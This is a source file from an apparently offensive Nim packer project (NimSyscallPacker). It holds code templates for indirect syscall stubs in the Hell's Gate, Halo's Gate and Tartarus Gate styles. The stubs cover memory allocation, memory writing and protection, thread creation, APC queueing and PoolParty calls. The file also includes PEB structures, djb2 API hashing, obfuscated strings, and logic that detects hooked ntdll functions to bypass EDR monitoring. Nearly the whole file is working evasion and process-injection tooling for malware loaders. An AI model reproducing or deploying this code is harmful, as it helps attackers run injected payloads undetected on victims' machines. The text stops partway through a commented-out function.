mirror of
https://github.com/S3cur3Th1sSh1t/NimSyscallPacker
synced 2026-06-11 09:59:09 +00:00
731 lines
31 KiB
Nim
731 lines
31 KiB
Nim
|
|
let DInvokeGetModuleHandleADelegate* = """
|
|
|
|
type
|
|
GetModuleHandleA_t = proc(lpModuleName: LPCSTR): HMODULE {.stdcall.}
|
|
|
|
const
|
|
GetModuleHandleA_HASH = obf("GetModuleHandleA")
|
|
|
|
var MyGetModuleHandleA: GetModuleHandleA_t
|
|
|
|
MyGetModuleHandleA = cast[GetModuleHandleA_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetModuleHandleA_HASH, 0, FALSE)))
|
|
|
|
"""
|
|
|
|
let HellsgateAllocDelegate* = """
|
|
|
|
proc NtAllocateVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntAllocfuncHash : uint64 = djb2_hash(obf("NtAllocateVirtualMemory"))
|
|
ntAllocTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntAllocfuncHash)
|
|
"""
|
|
|
|
let HellsgateNtReadVirtualMemoryDelegate* = """
|
|
|
|
proc NtReadVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToRead: SIZE_T, NumberOfBytesRead: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntReadfuncHash : uint64 = djb2_hash(obf("NtReadVirtualMemory"))
|
|
ntReadTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntReadfuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateNtFreeVirtualMemoryDelegate* = """
|
|
|
|
proc NtFreeVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, FreeType: ULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntFreefuncHash : uint64 = djb2_hash(obf("NtFreeVirtualMemory"))
|
|
ntFreeTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntFreefuncHash)
|
|
|
|
|
|
"""
|
|
|
|
let HellsgateNtOpenProcessDelegate* = """
|
|
|
|
proc NtOpenProcess(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntOpenfuncHash : uint64 = djb2_hash(obf("NtOpenProcess"))
|
|
ntOpenTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntOpenfuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateNtDuplicateObjectDelegate* = """
|
|
|
|
proc NtDuplicateObject(SourceProcessHandle: HANDLE, SourceHandle: HANDLE, TargetProcessHandle: HANDLE, TargetHandle: PHANDLE, DesiredAccess: ACCESS_MASK, HandleAttributes: ULONG, Options: ULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntDuplicatefuncHash : uint64 = djb2_hash(obf("NtDuplicateObject"))
|
|
ntDuplicateTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntDuplicatefuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateWriteDelegate* = """
|
|
|
|
|
|
proc NtWriteVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntWritefuncHash : uint64 = djb2_hash(obf("NtWriteVirtualMemory"))
|
|
ntWriteTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntWritefuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateProtectDelegate* = """
|
|
|
|
|
|
proc NtProtectVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntProtectfuncHash : uint64 = djb2_hash(obf("NtProtectVirtualMemory"))
|
|
ntProtectTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntProtectfuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateNtCreateSectionDelegate* = """
|
|
|
|
proc NtCreateSection(SectionHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, MaximumSize: PLARGE_INTEGER, SectionPageProtection: ULONG, AllocationAttributes: ULONG, FileHandle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntCreateSectionfuncHash : uint64 = djb2_hash(obf("NtCreateSection"))
|
|
ntCreateSectionTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntCreateSectionfuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateNtMapViewOfSectionDelegate* = """
|
|
|
|
proc NtMapViewOfSection(SectionHandle: HANDLE, ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, CommitSize: SIZE_T, SectionOffset: PLARGE_INTEGER, ViewSize: PSIZE_T, InheritDisposition: ULONG, AllocationType: ULONG, Win32Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntMapViewOfSectionfuncHash : uint64 = djb2_hash(obf("NtMapViewOfSection"))
|
|
ntMapViewOfSectionTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntMapViewOfSectionfuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateNtQueueApcThreadDelegate* = """
|
|
|
|
proc NtQueueApcThread(ThreadHandle: HANDLE, ApcRoutine: PKNORMAL_ROUTINE, ApcArgument1: PVOID, ApcArgument2: PVOID, ApcArgument3: PVOID): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntQueueApcThreadfuncHash : uint64 = djb2_hash(obf("NtQueueApcThread"))
|
|
ntQueueApcThreadTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntQueueApcThreadfuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateNtTestAlertDelegate* = """
|
|
|
|
proc NtTestAlert(): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntTestAlertfuncHash : uint64 = djb2_hash(obf("NtTestAlert"))
|
|
ntTestAlertTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntTestAlertfuncHash)
|
|
|
|
"""
|
|
|
|
|
|
let HellsgateNtCreateThreadExDelegate* = """
|
|
|
|
type
|
|
PS_ATTR_UNION {.pure, union.} = object
|
|
Value: ULONG
|
|
ValuePtr: PVOID
|
|
PS_ATTRIBUTE {.pure.} = object
|
|
Attribute: ULONG
|
|
Size: SIZE_T
|
|
u1: PS_ATTR_UNION
|
|
ReturnLength: PSIZE_T
|
|
PPS_ATTRIBUTE = ptr PS_ATTRIBUTE
|
|
PS_ATTRIBUTE_LIST {.pure.} = object
|
|
TotalLength: SIZE_T
|
|
Attributes: array[2, PS_ATTRIBUTE]
|
|
PPS_ATTRIBUTE_LIST = ptr PS_ATTRIBUTE_LIST
|
|
KNORMAL_ROUTINE {.pure.} = object
|
|
NormalContext: PVOID
|
|
SystemArgument1: PVOID
|
|
SystemArgument2: PVOID
|
|
PKNORMAL_ROUTINE = ptr KNORMAL_ROUTINE
|
|
|
|
proc NtCreateThreadEx(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntCreatefuncHash : uint64 = djb2_hash(obf("NtCreateThreadEx"))
|
|
ntCreateTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntCreatefuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateNtCloseDelegate* = """
|
|
|
|
|
|
proc NtClose(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntClosefuncHash : uint64 = djb2_hash(obf("NtClose"))
|
|
ntCloseTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntClosefuncHash)
|
|
|
|
"""
|
|
|
|
# poolparty defs
|
|
# NtSetInformationWorkerFactory, ZwSetIoCompletion, ZwAssociateWaitCompletionPacket
|
|
|
|
let HellsgateNtSetInformationWorkerFactoryDelegate* = """
|
|
|
|
proc NtSetInformationWorkerFactory(WorkerFactoryHandle: HANDLE, WorkerFactoryInformationClass: SET_WORKERFACTORYINFOCLASS, WorkerFactoryInformation: PVOID, WorkerFactoryInformationLength: ULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
ntSetInformationWorkerFactoryfuncHash : uint64 = djb2_hash(obf("NtSetInformationWorkerFactory"))
|
|
ntSetInformationWorkerFactoryTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntSetInformationWorkerFactoryfuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateZwSetIoCompletionDelegate* = """
|
|
|
|
proc ZwSetIoCompletion(IoCompletionHandle: HANDLE, KeyContext: PVOID, ApcContext: PVOID, IoStatus: NTSTATUS, IoStatusInformation: ULONG_PTR): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
zwSetIoCompletionfuncHash : uint64 = djb2_hash(obf("ZwSetIoCompletion"))
|
|
zwSetIoCompletionTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : zwSetIoCompletionfuncHash)
|
|
|
|
"""
|
|
|
|
let HellsgateZwAssociateWaitCompletionPacketDelegate* = """
|
|
|
|
proc ZwAssociateWaitCompletionPacket(WaitCopmletionPacketHandle: HANDLE, IoCompletionHandle: HANDLE, TargetObjectHandle: HANDLE, KeyContext: PVOID, ApcContext: PVOID, IoStatus: NTSTATUS, IoStatusInformation: ULONG_PTR, AlreadySignaled: PBOOLEAN): NTSTATUS {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov r10, rcx
|
|
mov eax, `syscall`
|
|
mov r11, `syscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
===
|
|
|
|
var
|
|
zwAssociateWaitCompletionPacketfuncHash : uint64 = djb2_hash(obf("ZwAssociateWaitCompletionPacket"))
|
|
zwAssociateWaitCompletionPacketTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : zwAssociateWaitCompletionPacketfuncHash)
|
|
|
|
"""
|
|
|
|
|
|
|
|
let HellsgateStub* = """
|
|
|
|
when defined(Hellsgate):
|
|
|
|
#from random import randomize,rand
|
|
# currently not in use
|
|
#randomize()
|
|
|
|
#[
|
|
Windows Undocumented Structures - Windows 7+
|
|
]#
|
|
var
|
|
syscallJumpAddress: ByteAddress
|
|
|
|
type
|
|
# https://doxygen.reactos.org/d3/d71/struct__ASSEMBLY__STORAGE__MAP__ENTRY.html
|
|
ASSEMBLY_STORAGE_MAP {.pure.} = object
|
|
Flags : ULONG
|
|
DosPath : UNICODE_STRING
|
|
Handle : HANDLE
|
|
PASSEMBLY_STORAGE_MAP = ptr ASSEMBLY_STORAGE_MAP
|
|
|
|
LDR_DLL_LOAD_REASON {.pure.} = enum
|
|
LoadReasonUnknown = -1
|
|
LoadReasonStaticDependency = 0
|
|
LoadReasonStaticForwarderDependency = 1
|
|
LoadReasonDynamicForwarderDependency = 2
|
|
LoadReasonDelayloadDependency = 3
|
|
LoadReasonDynamicLoad = 4
|
|
LoadReasonAsImageLoad = 5
|
|
LoadReasonAsDataLoad = 6
|
|
LoadReasonEnclavePrimary = 7
|
|
LoadReasonEnclaveDependency = 8
|
|
|
|
RTL_BALANCED_NODE_STRUCT1 {.pure.} = object
|
|
Left : PRTL_BALANCED_NODE
|
|
Right : PRTL_BALANCED_NODE
|
|
|
|
RTL_BALANCED_NODE_UNION1 {.pure, union.} = object
|
|
Children : array[2, PRTL_BALANCED_NODE]
|
|
Struct1 : RTL_BALANCED_NODE_STRUCT1
|
|
|
|
RTL_BALANCED_NODE_UNION2 {.pure, union.} = object
|
|
Red {.bitsize:1.} : UCHAR
|
|
Balance {.bitsize:2.} : UCHAR
|
|
ParentValue : ULONG_PTR
|
|
|
|
RTL_BALANCED_NODE {.pure.} = object
|
|
Union1 : RTL_BALANCED_NODE_UNION1
|
|
Union2 : RTL_BALANCED_NODE_UNION2
|
|
PRTL_BALANCED_NODE = ptr RTL_BALANCED_NODE
|
|
|
|
LDR_DATA_TABLE_ENTRY_UNION_ONE {.pure, union.} = object
|
|
InInitializationOrderLinks : LIST_ENTRY
|
|
InProgressLinks : LIST_ENTRY
|
|
PLDR_DATA_TABLE_ENTRY_UNION_ONE = ptr LDR_DATA_TABLE_ENTRY_UNION_ONE
|
|
|
|
LDR_DATA_TABLE_ENTRY_STRUCT_ONE {.pure.} = object
|
|
PackagedBinary {.bitsize:1.} : ULONG
|
|
MarkedForRemoval {.bitsize:1.} : ULONG
|
|
ImageDll {.bitsize:1.} : ULONG
|
|
LoadNotificationSent {.bitsize:1.} : ULONG
|
|
TelemetryEntryProcessed {.bitsize:1.} : ULONG
|
|
ProcessStaticImport {.bitsize:1.} : ULONG
|
|
InLegacyLists {.bitsize:1.} : ULONG
|
|
InIndexes {.bitsize:1.} : ULONG
|
|
ShimDll {.bitsize:1.} : ULONG
|
|
InExceptionTable {.bitsize:1.} : ULONG
|
|
ReservedFlags1 {.bitsize:2.} : ULONG
|
|
LoadInProgress {.bitsize:1.} : ULONG
|
|
LoadConfigProcessed {.bitsize:1.} : ULONG
|
|
EntryProcessed {.bitsize:1.} : ULONG
|
|
ProtectDelayLoad {.bitsize:1.} : ULONG
|
|
ReservedFlags3 {.bitsize:2.} : ULONG
|
|
DontCallForThreads {.bitsize:1.} : ULONG
|
|
ProcessAttachCalled {.bitsize:1.} : ULONG
|
|
ProcessAttachFailed {.bitsize:1.} : ULONG
|
|
CorDeferredValidate {.bitsize:1.} : ULONG
|
|
CorImage {.bitsize:1.} : ULONG
|
|
DontRelocate {.bitsize:1.} : ULONG
|
|
CorILOnly {.bitsize:1.} : ULONG
|
|
ChpeImage {.bitsize:1.} : ULONG
|
|
ReservedFlags5 {.bitsize:2.} : ULONG
|
|
Redirected {.bitsize:1.} : ULONG
|
|
ReservedFlags6 {.bitsize:2.} : ULONG
|
|
CompatDatabaseProcessed {.bitsize:1.} : ULONG
|
|
|
|
LDR_DATA_TABLE_ENTRY_UNION_TWO {.pure, union.} = object
|
|
FlagGroup : array[4, UCHAR]
|
|
Flags : ULONG
|
|
Struct : LDR_DATA_TABLE_ENTRY_STRUCT_ONE
|
|
PLDR_DATA_TABLE_ENTRY_UNION_TWO = ptr LDR_DATA_TABLE_ENTRY_UNION_TWO
|
|
|
|
|
|
PEB_LDR_DATA {.pure.} = object
|
|
Length : ULONG
|
|
Initialized : BOOLEAN
|
|
SsHandle : PVOID
|
|
InLoadOrderModuleList : LIST_ENTRY
|
|
InMemoryOrderModuleList : LIST_ENTRY
|
|
InInitializationOrderModuleList : LIST_ENTRY
|
|
EntryInProgress : PVOID
|
|
ShutdownInProgress : BOOLEAN
|
|
ShutdownThreadId : HANDLE
|
|
PPEB_LDR_DATA = ptr PEB_LDR_DATA
|
|
|
|
PEB {.pure.} = object
|
|
InheritedAddressSpace : BOOLEAN
|
|
ReadImageFileExecOptions : BOOLEAN
|
|
BeingDebugged : BOOLEAN
|
|
PebUnion1 : UCHAR
|
|
Padding0 : array[4, UCHAR]
|
|
Mutant : HANDLE
|
|
ImageBaseAddress : PVOID
|
|
Ldr : PPEB_LDR_DATA
|
|
ProcessParameters : PRTL_USER_PROCESS_PARAMETERS
|
|
SubSystemData : PVOID
|
|
ProcessHeap : HANDLE
|
|
FastPebLock : PVOID # PRTL_CRITICAL_SECTION
|
|
AtlThunkSListPtr : PVOID
|
|
IFEOKey : PVOID
|
|
PebUnion2 : ULONG
|
|
Padding1 : array[4, UCHAR]
|
|
KernelCallBackTable : ptr PVOID
|
|
SystemReserved : ULONG
|
|
AltThunkSListPtr32 : ULONG
|
|
ApiSetMap : PVOID
|
|
TlsExpansionCounter : ULONG
|
|
Padding2 : array[4, UCHAR]
|
|
TlsBitmap : PVOID
|
|
TlsBitmapBits : array[2, ULONG]
|
|
ReadOnlyShareMemoryBase : PVOID
|
|
SharedData : PVOID
|
|
ReadOnlyStaticServerData : ptr PVOID
|
|
AnsiCodePageData : PVOID
|
|
OemCodePageData : PVOID
|
|
UnicodeCaseTableData : PVOID
|
|
NumberOfProcessors : ULONG
|
|
NtGlobalFlag : ULONG
|
|
CriticalSectionTimeout : LARGE_INTEGER
|
|
HeapSegmentReserve : ULONG_PTR
|
|
HeapSegmentCommit : ULONG_PTR
|
|
HeapDeCommitTotalFreeThreshold : ULONG_PTR
|
|
HeapDeCommitFreeBlockThreshold : ULONG_PTR
|
|
NumberOfHeaps : ULONG
|
|
MaximumNumberOfHeaps : ULONG
|
|
ProcessHeaps : ptr PVOID
|
|
GdiSharedHandleTable : PVOID
|
|
ProcessStarterHelper : PVOID
|
|
GdiDCAttributeList : ULONG
|
|
Padding3 : array[4, UCHAR]
|
|
LoaderLock : PVOID # PRTL_CRITICAL_SECTION
|
|
OSMajorVersion : ULONG
|
|
OSMinorVersion : ULONG
|
|
OSBuildNumber : USHORT
|
|
OSCSDVersion : USHORT
|
|
OSPlatformId : ULONG
|
|
ImageSubsystem : ULONG
|
|
ImageSubsystemMajorVersion : ULONG
|
|
ImageSubsystemMinorVersion : ULONG
|
|
Padding4 : array[4, UCHAR]
|
|
ActiveProcessAffinityMask : PVOID # KAFFINITY
|
|
GdiHandleBuffer : array[0x3c, ULONG]
|
|
PostProcessInitRoutine : VOID
|
|
TlsExpansionBitmap : PVOID
|
|
TlsExpansionBitmapBits : array[0x20, ULONG]
|
|
SessionId : ULONG
|
|
Padding5 : array[4, UCHAR]
|
|
AppCompatFlags : ULARGE_INTEGER
|
|
AppCompatFlagsUser : ULARGE_INTEGER
|
|
ShimData : PVOID
|
|
AppCompatInfo : PVOID
|
|
CSDVersion : UNICODE_STRING
|
|
ActivationContextData : PVOID # PACTIVATION_CONTEXT_DATA
|
|
ProcessAssemblyStorageMap : PVOID # PASSEMBLY_STORAGE_MAP
|
|
SystemDefaultActivationContextData : PVOID # PACTIVATION_CONTEXT_DATA
|
|
SystemAssemblyStorageMap : PVOID # PASSEMBLY_STORAGE_MAP
|
|
MinimumStackCommit : ULONG_PTR
|
|
Sparepointers : array[4, PVOID]
|
|
SpareUlongs : array[5, ULONG]
|
|
WerRegistrationData : PVOID
|
|
WerShipAssertPtr : PVOID
|
|
Unused : PVOID
|
|
ImageHeaderHash : PVOID
|
|
TracingFlags : ULONG
|
|
CsrServerReadOnlySharedMemoryBase : ULONGLONG
|
|
TppWorkerpListLock : ULONG
|
|
TppWorkerpList : LIST_ENTRY
|
|
WaitOnAddressHashTable : array[0x80, PVOID]
|
|
TelemtryCoverageHeader : PVOID
|
|
CloudFileFlags : ULONG
|
|
CloudFileDiagFlags : ULONG
|
|
PlaceholderCompatabilityMode : CHAR
|
|
PlaceholderCompatabilityModeReserved : array[7, CHAR]
|
|
LeapSecondData : PVOID
|
|
LeapSecondFlags : ULONG
|
|
NtGlobalFlag2 : ULONG
|
|
PPEB = ptr PEB
|
|
|
|
TEB {.pure.} = object
|
|
NtTib : NT_TIB
|
|
EnvironmentPointer : PVOID
|
|
ClientId : CLIENT_ID
|
|
ActiveRpcHandle : PVOID
|
|
ThreadLocalStoragePointer : PVOID
|
|
ProcessEnvironmentBlock : PEB
|
|
LastErrorValue : ULONG
|
|
CountOfOwnedCriticalSections : ULONG
|
|
CsrClientThread : PVOID
|
|
Win32ThreadInfo : PVOID
|
|
User32Reserved : array[0x1A, ULONG]
|
|
UserReserved : array[5, ULONG]
|
|
WOW32Reserved : PVOID
|
|
CurrentLocale : ULONG
|
|
FpSoftwareStatusRegister : ULONG
|
|
ReservedForDebuggerInstrumentation : array[0x10, PVOID]
|
|
PTEB = ptr TEB
|
|
|
|
|
|
|
|
|
|
|
|
var syscall : WORD
|
|
type
|
|
HG_TABLE_ENTRY = object
|
|
pAddress : PVOID
|
|
dwHash : uint64
|
|
wSysCall : WORD
|
|
PHG_TABLE_ENTRY = ptr HG_TABLE_ENTRY
|
|
|
|
proc djb2_hash(pFuncName : cstring) : uint64 =
|
|
|
|
var hash : uint64 = 0x5381
|
|
|
|
for c in pFuncName:
|
|
hash = ((hash shl 0x05) + hash) + cast[uint64](ord(c))
|
|
|
|
return hash
|
|
|
|
proc moduleToBuffer(pCurrentModule : PLDR_DATA_TABLE_ENTRY) : PWSTR =
|
|
return pCurrentModule.FullDllName.Buffer
|
|
|
|
proc flinkToModule(pCurrentFlink : LIST_ENTRY) : PLDR_DATA_TABLE_ENTRY =
|
|
return cast[PLDR_DATA_TABLE_ENTRY](cast[ByteAddress](pCurrentFlink) - 0x10)
|
|
|
|
proc getExportTable(pCurrentModule : PLDR_DATA_TABLE_ENTRY, pExportTable : var PIMAGE_EXPORT_DIRECTORY) : bool =
|
|
|
|
let
|
|
pImageBase : PVOID = pCurrentModule.DLLBase
|
|
pDosHeader : PIMAGE_DOS_HEADER = cast[PIMAGE_DOS_HEADER](pImageBase)
|
|
pNTHeader : PIMAGE_NT_HEADERS = cast[PIMAGE_NT_HEADERS](cast[ByteAddress](pDosHeader) + pDosHeader.e_lfanew)
|
|
|
|
if pDosheader.e_magic != IMAGE_DOS_SIGNATURE:
|
|
return false
|
|
|
|
if pNTHeader.Signature != cast[DWORD](IMAGE_NT_SIGNATURE):
|
|
return false
|
|
|
|
pExportTable = cast[PIMAGE_EXPORT_DIRECTORY](cast[ByteAddress](pImageBase) + pNTHeader.OptionalHeader.DataDirectory[0].VirtualAddress)
|
|
|
|
return true
|
|
|
|
proc getTableEntry(pImageBase : PVOID, pCurrentExportDirectory : PIMAGE_EXPORT_DIRECTORY, tableEntry : var HG_TABLE_ENTRY) : bool =
|
|
|
|
var
|
|
cx : DWORD = 0
|
|
numFuncs : DWORD = pCurrentExportDirectory.NumberOfNames
|
|
DOWN = 32
|
|
UP = -32
|
|
let
|
|
pAddrOfFunctions : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfFunctions)
|
|
pAddrOfNames : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfNames)
|
|
pAddrOfOrdinals : ptr UncheckedArray[WORD] = cast[ptr UncheckedArray[WORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfNameOrdinals)
|
|
|
|
var foundFuncAddr: PVOID
|
|
while cx < numFuncs:
|
|
var
|
|
pFuncOrdinal : WORD = pAddrOfOrdinals[cx]
|
|
pFuncName : cstring = $(cast[PCHAR](cast[ByteAddress](pImageBase) + pAddrOfNames[cx]))
|
|
funcHash : uint64 = djb2_hash(pFuncName)
|
|
funcRVA : DWORD64 = pAddrOfFunctions[pFuncOrdinal]
|
|
pFuncAddr : PVOID = cast[PVOID](cast[ByteAddress](pImageBase) + funcRVA)
|
|
|
|
if funcHash == tableEntry.dwHash:
|
|
|
|
tableEntry.pAddress = pFuncAddr
|
|
# Not hooked API
|
|
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3)[] == 0xB8:
|
|
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4)[]
|
|
foundFuncAddr = pFuncAddr
|
|
break
|
|
# Credit: https://github.com/Haunted-Banshee/ErebusGate/blob/main/ErebusGate.nim
|
|
# Classic hook API
|
|
# Check the the first byte is 0xe9
|
|
elif cast[PBYTE](cast[ByteAddress](pFuncAddr))[] == 0xE9:
|
|
for idx in countup(1,500):
|
|
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * UP)[] == 0xB8:
|
|
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * UP))[] + cast[WORD](idx)
|
|
foundFuncAddr = pFuncAddr
|
|
break
|
|
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * DOWN)[] == 0xB8:
|
|
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * DOWN))[] - cast[WORD](idx)
|
|
foundFuncAddr = pFuncAddr
|
|
break
|
|
# Tartarus gate from Nim
|
|
# Check the the third is 0xe9
|
|
elif cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 )[] == 0xE9:
|
|
for idx in countup(1,500):
|
|
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * UP)[] == 0xB8:
|
|
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * UP))[] + cast[WORD](idx)
|
|
foundFuncAddr = pFuncAddr
|
|
break
|
|
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * DOWN)[] == 0xB8:
|
|
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * DOWN))[] - cast[WORD](idx)
|
|
foundFuncAddr = pFuncAddr
|
|
break
|
|
inc cx
|
|
|
|
if cx >= numFuncs:
|
|
return false
|
|
|
|
var offset: UINT = 0
|
|
while true:
|
|
var currByte = cast[PDWORD](foundFuncAddr + offset)[]
|
|
if obf("050F0375") in $currByte.toHex:
|
|
when defined(verbose):
|
|
echo obf("[*] Found corresponding syscall instruction in ntdll addr ") & $cast[ByteAddress](foundFuncAddr + offset).toHex & obf(": ") & $currByte.toHex
|
|
syscallJumpAddress = cast[ByteAddress](foundFuncAddr + offset) + sizeof(WORD)
|
|
return true
|
|
offset = offset + 1
|
|
|
|
|
|
proc GetPEBAsm64(): PPEB {.asmNoStackFrame.} =
|
|
asm ===
|
|
mov rax, qword ptr gs:[0x60]
|
|
ret
|
|
===
|
|
|
|
#[
|
|
# Credit: https://github.com/eversinc33/BouncyGate/blob/main/HellsGate.nim
|
|
proc getSyscallInstructionAddress(ntdllModuleBaseAddr: PVOID): ByteAddress =
|
|
## Get The address of a syscall instruction from ntdll to make sure all syscalls go through ntdll
|
|
when defined(verbose):
|
|
echo obf("[*] Resolving syscall...")
|
|
when defined(verbose):
|
|
echo obf("[*] NTDLL Base: ") & $cast[int](ntdllModuleBaseAddr).toHex
|
|
#var
|
|
# num = rand(75)
|
|
# count: int = 0
|
|
var offset: UINT = 0
|
|
while true:
|
|
var currByte = cast[PDWORD](ntdllModuleBaseAddr + offset)[]
|
|
if "050F0375" in $currByte.toHex:
|
|
# Random Syscall instead of always the first one
|
|
#if (count == num):
|
|
when defined(verbose):
|
|
echo obf("[*] Found syscall in ntdll addr ") & $cast[ByteAddress](ntdllModuleBaseAddr + offset).toHex & ": " & $currByte.toHex
|
|
return cast[ByteAddress](ntdllModuleBaseAddr + offset) + sizeof(WORD)
